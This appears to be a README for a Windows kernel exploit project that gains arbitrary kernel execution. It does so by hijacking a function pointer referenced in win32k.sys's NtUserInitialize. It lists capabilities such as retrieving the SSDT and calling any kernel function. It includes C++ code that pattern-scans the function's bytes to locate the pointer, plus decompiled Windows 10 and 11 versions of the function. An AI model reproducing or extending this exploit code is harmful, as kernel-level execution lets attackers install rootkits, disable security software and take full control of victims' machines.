There is a older version of this project at https://github.com/femvoi/pdfwkrnl-exploit/tree/main/old_project
The older version used an pointer inside ntoskrnl.exe to get a arbitrary execute on the system.
The newer version of this project is based of the same thing but with a little more.
The older version could not recieve a return value meaning if you attempted to call a kernel function with a return value for example "ExAllocatePoolWithTag" you would not get what the function returns, the newer version solves this but comes with a stipulation it does not work on windows 11 because of how pointers are managed inside windows 11 vs windows 10.
This is not stopping this from working on windows 11, i just don't feel like doing it!
- retrieve the ssdt
- get exported kernel symbols from ntoskrnl or any loaded driver
- calling any kernel function of your desire
its pretty simple inside win32k.sys theres a exported symbol call NtUserInitialize which we locate copy the memory and locate where the pointer gets loaded, and boom we have control pretty easy right?
u64 win32k_NtUserInitialize = get_module_export(__("win32k.sys"), __("NtUserInitialize"));
if (!win32k_NtUserInitialize || !win32u_NtUserInitialize)
return T{};
u8 disassembly_x64[64];
if (!read(win32k_NtUserInitialize, disassembly_x64, sizeof(disassembly_x64)))
return T{};
// 48 8B 05 00 00 00 00
u64 win32k_pointer = 0;
for (u32 idx = 0; idx < sizeof(disassembly_x64) - 8; idx++) {
if (disassembly_x64[idx] == 0x48 && disassembly_x64[idx + 1] == 0x8B && disassembly_x64[idx + 2] == 0x05) {
i32 relative_offset = *(i32*)&disassembly_x64[idx + 3];
u64 instruction_address = win32k_NtUserInitialize + idx;
win32k_pointer = instruction_address + 7 + relative_offset;
}
}
if (!win32k_pointer)
return T{};
on windows 11 the function looks something like
__int64 __fastcall NtUserInitialize(__int64 a1, __int64 a2)
{
__int64 (__fastcall *v4)(__int64, __int64); // rax
__int64 result; // rax
v4 = *(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)(*(_QWORD *)(W32GetSessionState() + 0x88) + 24LL) + 40LL);
if ( !v4 )
return SMgrNotifySessionChange(0LL, VideoPortCallout);
result = v4(a1, a2);
if ( (_DWORD)result == -1073741796 )
return SMgrNotifySessionChange(0LL, VideoPortCallout);
return result;
}
instead of the good ol
__int64 NtUserInitialize()
{
__int64 result; // rax
if ( qword_67DF8 )
result = qword_67DF8();
else
result = 3221225500LL;
if ( (_DWORD)result == -1073741796 )
return SMgrNotifySessionChange(0LL, VideoPortCallout);
return result;
}